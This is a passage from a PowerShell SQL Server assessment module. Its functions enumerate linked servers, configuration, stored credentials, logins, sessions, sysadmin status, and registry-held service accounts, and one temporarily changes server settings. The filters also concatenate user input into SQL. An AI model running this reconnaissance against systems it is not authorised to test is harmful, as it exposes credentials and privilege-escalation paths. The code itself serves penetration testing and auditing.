HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServerLinks = New-Object -TypeName System.Data.DataTable # Setup DatabaseLinkName filter if($DatabaseLinkName) { $VDatabaseLinkNameFilter = " WHERE a.name like '$DatabaseLinkName'" } else { $DatabaseLinkNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], a.server_id as [DatabaseLinkId], a.name AS [DatabaseLinkName], CASE a.Server_id WHEN 0 THEN 'Local' ELSE 'Remote' END AS [DatabaseLinkLocation], a.product as [Product], a.provider as [Provider], a.catalog as [Catalog], 'LocalLogin' = CASE b.uses_self_credential WHEN 1 THEN 'Uses Self Credentials' ELSE c.name END, b.remote_name AS [RemoteLoginName], a.is_rpc_out_enabled, a.is_data_access_enabled, a.modify_date FROM [Master].[sys].[Servers] a LEFT JOIN [Master].[sys].[linked_logins] b ON a.server_id = b.server_id LEFT JOIN [Master].[sys].[server_principals] c ON c.principal_id = b.local_principal_id $DatabaseLinkNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblServerLinks = $TblServerLinks + $TblResults } End { # Return data $TblServerLinks } } # ---------------------------------- # Get-SQLServerConfiguration # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerConfiguration { <# .SYNOPSIS Returns configuration information from the server using sp_configure. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLServerConfiguration -Instance SQLServer1\STANDARDDEV2014 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerConfiguration -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Nubmer of hosts to query at one time.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblCommands = New-Object -TypeName System.Data.DataTable $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('Name') $null = $TblResults.Columns.Add('Minimum') $null = $TblResults.Columns.Add('Maximum') $null = $TblResults.Columns.Add('config_value') $null = $TblResults.Columns.Add('run_value') # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Switch to track advanced options $DisableShowAdvancedOptions = 0 # Get show advance status $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin # Enable show advanced options if needed if ($IsShowAdvancedEnabled -eq 1) { if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." } } else { if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Show Advanced Options is disabled." } if($IsSysadmin -eq 'Yes') { if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Your a sysadmin, trying to enabled it." } # Try to enable Show Advanced Options Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Check if configuration change worked $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value if ($IsShowAdvancedEnabled2 -eq 1) { $DisableShowAdvancedOptions = 1 if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Enabled Show Advanced Options." } } else { if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." } } } } # Run sp_confgiure Get-SQLQuery -Instance $Instance -Query 'sp_configure' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | ForEach-Object -Process { $SettingName = $_.name $SettingMin = $_.minimum $SettingMax = $_.maximum $SettingConf_value = $_.config_value $SettingRun_value = $_.run_value $null = $TblResults.Rows.Add($ComputerName, $Instance, $SettingName, $SettingMin, $SettingMax, $SettingConf_value, $SettingRun_value) } # Restore Show Advanced Options state if needed if($DisableShowAdvancedOptions -eq 1 -and $IsSysadmin -eq 'Yes') { if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Disabling Show Advanced Options" } $Configurations = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." #Write-Verbose " Error: $ErrorMessage" } } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblResults } } # ---------------------------------- # Get-SQLServerCredential # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerCredential { <# .SYNOPSIS Returns credentials from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLServerCredential -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 credential_id : 65536 CredentialName : MyUser credential_identity : Domain\MyUser create_date : 5/5/2016 11:16:12 PM modify_date : 5/5/2016 11:16:12 PM target_type : target_id : [TRUNCATED] .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerCredential -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Credential name.')] [string]$CredentialName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { $TblCredentials = New-Object -TypeName System.Data.DataTable # Setup CredentialName filter if($CredentialName) { $CredentialNameFilter = " WHERE name like '$CredentialName'" } else { $CredentialNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " USE master; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], credential_id, name as [CredentialName], credential_identity, create_date, modify_date, target_type, target_id FROM [master].[sys].[credentials] $CredentialNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblCredentials = $TblCredentials + $TblResults } End { # Return data $TblCredentials } } # ---------------------------------- # Get-SQLServerLogin # ---------------------------------- Function Get-SQLServerLogin { <# .SYNOPSIS Returns logins from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER PrincipalName Pincipal name to filter for. .EXAMPLE PS C:\> Get-SQLServerLogin -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 PrincipalId : 1 PrincipalName : sa PrincipalSid : 1 PrincipalType : SQL_LOGIN CreateDate : 4/8/2003 9:10:35 AM IsLocked : 0 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerLogin -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Principal name to filter for.')] [string]$PrincipalName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblLogins = New-Object -TypeName System.Data.DataTable $null = $TblLogins.Columns.Add('ComputerName') $null = $TblLogins.Columns.Add('Instance') $null = $TblLogins.Columns.Add('PrincipalId') $null = $TblLogins.Columns.Add('PrincipalName') $null = $TblLogins.Columns.Add('PrincipalSid') $null = $TblLogins.Columns.Add('PrincipalType') $null = $TblLogins.Columns.Add('CreateDate') $null = $TblLogins.Columns.Add('IsLocked') # Setup CredentialName filter if($PrincipalName) { $PrincipalNameFilter = " and name like '$PrincipalName'" } else { $PrincipalNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " USE master; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance],principal_id as [PrincipalId], name as [PrincipalName], sid as [PrincipalSid], type_desc as [PrincipalType], create_date as [CreateDate], LOGINPROPERTY ( name , 'IsLocked' ) as [IsLocked] FROM [sys].[server_principals] WHERE type = 'S' or type = 'U' or type = 'C' $PrincipalNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each record $TblResults | ForEach-Object -Process { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } # Add results to table $null = $TblLogins.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, [string]$_.PrincipalId, [string]$_.PrincipalName, $Sid, [string]$_.PrincipalType, $_.CreateDate, [string]$_.IsLocked) } } End { # Return data $TblLogins } } # ---------------------------------- # Get-SQLSession # ---------------------------------- # Author: Scott Sutherland Function Get-SQLSession { <# .SYNOPSIS Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000 PrincipalName : Domain\MyUser OriginalPrincipalName : Domain\MyUser SessionId : 51 SessionStartTime : 06/24/2016 09:26:21 SessionLoginTime : 06/24/2016 09:26:21 SessionStatus : running .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose .EXAMPLE PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count 48 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'PrincipalName.')] [string]$PrincipalName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblSessions = New-Object -TypeName System.Data.DataTable $null = $TblSessions.Columns.Add('ComputerName') $null = $TblSessions.Columns.Add('Instance') $null = $TblSessions.Columns.Add('PrincipalSid') $null = $TblSessions.Columns.Add('PrincipalName') $null = $TblSessions.Columns.Add('OriginalPrincipalName') $null = $TblSessions.Columns.Add('SessionId') $null = $TblSessions.Columns.Add('SessionStartTime') $null = $TblSessions.Columns.Add('SessionLoginTime') $null = $TblSessions.Columns.Add('SessionStatus') # Setup PrincipalName filter if($PrincipalName) { $PrincipalNameFilter = " and login_name like '$PrincipalName'" } else { $PrincipalNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " USE master; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], security_id as [PrincipalSid], login_name as [PrincipalName], original_login_name as [OriginalPrincipalName], session_id as [SessionId], last_request_start_time as [SessionStartTime], login_time as [SessionLoginTime], status as [SessionStatus] FROM [sys].[dm_exec_sessions] ORDER BY status $PrincipalNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each record $TblResults | ForEach-Object -Process { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } # Add results to table $null = $TblSessions.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, $Sid, [string]$_.PrincipalName, [string]$_.OriginalPrincipalName, [string]$_.SessionId, [string]$_.SessionStartTime, [string]$_.SessionLoginTime, [string]$_.SessionStatus) } } End { # Return data $TblSessions } } # ---------------------------------- # Get-SQLSysadminCheck # ---------------------------------- # Author: Scott Sutherland Function Get-SQLSysadminCheck { <# .SYNOPSIS Check if login is has sysadmin privilege on the target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014 ComputerName Instance IsSysadmin ------------ -------- ---------- SQLServer1 SQLServer1\STANDARDDEV2014 Yes .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Data for output $TblSysadminStatus = New-Object -TypeName System.Data.DataTable # Setup CredentialName filter if($CredentialName) { $CredentialNameFilter = " WHERE name like '$CredentialName'" } else { $CredentialNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], CASE WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' ELSE 'Yes' END as IsSysadmin" # Execute Query $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp } End { # Return data $TblSysadminStatus } } # ---------------------------------- # Get-SQLServiceAccount # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServiceAccount { <# .SYNOPSIS Returns a list of service account names for SQL Servers services by querying the registry with xp_regread. This can be executed against remote systems. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLServiceAccount -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DBEngineLogin : LocalSystem AgentLogin : NT Service\SQLAgent$STANDARDDEV2014 BrowserLogin : NT AUTHORITY\LOCALSERVICE WriterLogin : LocalSystem AnalysisLogin : NT Service\MSOLAP$STANDARDDEV2014 ReportLogin : NT Service\ReportServer$STANDARDDEV2014 IntegrationLogin : NT Service\MsDtsServer120 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLServiceAccount -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServiceAccount = New-Object -TypeName System.Data.DataTable } Process { # Note: Tables queried by this function typically require sysadmin privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { $SysadminSetup = " -- Get SQL Server Browser - Static Location EXECUTE master.dbo.xp_instance_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SYSTEM\CurrentControlSet\Services\SQLBrowser', @value_name = N'ObjectName', @value = @BrowserLogin OUTPUT -- Get SQL Server Writer - Static Location EXECUTE master.dbo.xp_instance_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SYSTEM\CurrentControlSet\Services\SQLWriter', @value_name = N'ObjectName', @value = @WriterLogin OUTPUT -- Get MSOLAP - Calculated EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @MSOLAPInstance, N'ObjectName',@AnalysisLogin OUTPUT -- Get Reporting - Calculated EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @ReportInstance, N'ObjectName',@ReportLogin OUTPUT -- Get SQL Server DTS Server / Analysis - Calulated EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @IntegrationVersion, N'ObjectName',@IntegrationDtsLogin OUTPUT" $SysadminQuery = ' ,[BrowserLogin] = @BrowserLogin, [WriterLogin] = @WriterLogin, [AnalysisLogin] = @AnalysisLogin, [ReportLogin] = @ReportLogin, [IntegrationLogin] = @IntegrationDtsLogin' } else { $SysadminSetup = '' $SysadminQuery = '' } # Define Query $Query = " -- Setup variables DECLARE @SQLServerInstance VARCHAR(250) DECLARE @MSOLAPInstance VARCHAR(250) DECLARE @ReportInstance VARCHAR(250) DECLARE @AgentInstance VARCHAR(250) DECLARE @IntegrationVersion VARCHAR(250) DECLARE @DBEngineLogin VARCHAR(100) DECLARE @AgentLogin VARCHAR(100) DECLARE @BrowserLogin VARCHAR(100) DECLARE @WriterLogin VARCHAR(100) DECLARE @AnalysisLogin VARCHAR(100) DECLARE @ReportLogin VARCHAR(100) DECLARE @IntegrationDtsLogin VARCHAR(100) -- Get Service Paths for default and name instance if @@SERVICENAME = 'MSSQLSERVER' or @@SERVICENAME = HOST_NAME() BEGIN -- Default instance paths set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLServerOLAPService' set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer' set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT' set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0' END ELSE BEGIN -- Named instance paths set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + cast(@@SERVICENAME as varchar(250)) set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSOLAP$' + cast(@@SERVICENAME as varchar(250)) set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer$' + cast(@@SERVICENAME as varchar(250)) set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLAgent$' + cast(@@SERVICENAME as varchar(250)) set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0' END -- Get SQL Server - Calculated EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@DBEngineLogin OUTPUT -- Get SQL Server Agent - Calculated EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @AgentInstance, N'ObjectName',@AgentLogin OUTPUT $SysadminSetup -- Dislpay results SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], [DBEngineLogin] = @DBEngineLogin, [AgentLogin] = @AgentLogin $SysadminQuery" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblServiceAccount = $TblServiceAccount + $TblResults } End { # Return data $TblServiceAccount } } # ---------------------------------- # Get-SQLAuditDatabaseSpec # ---------------------------------- # Author: Scott Sutherland Function Get-SQLAuditDatabaseSpec { <# .SYNOPSIS Returns Audit database specifications from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER AuditName Audit name. .PARAMETER AuditSpecification Audit specification. .PARAMETER AuditAction Audit action name. .EXAMPLE PS C:\> Get-SQLAuditDatabaseSpec -Verbose -Instance "SQLServer1" .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLAuditDatabaseSpec -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Audit name.')] [string]$AuditName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Specification name.')] [string]$AuditSpecification, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Audit action name.')] [string]$AuditAction, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblAuditDatabaseSpec = New-Object -TypeName System.Data.DataTable # Setup audit name filter if($AuditName) { $AuditNameFilter = " and a.name like '%$AuditName%'" } else { $AuditNameFilter = '' } # Setup spec name filter if($AuditSpecification) { $SpecNameFilter = " and s.name like '%$AuditSpecification%'" } else { $SpecNameFilter = '' } # Setup action name filter if($AuditAction) { $ActionNameFilter = " and d.audit_action_name like '%$AuditAction%'" } else { $ActionNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not 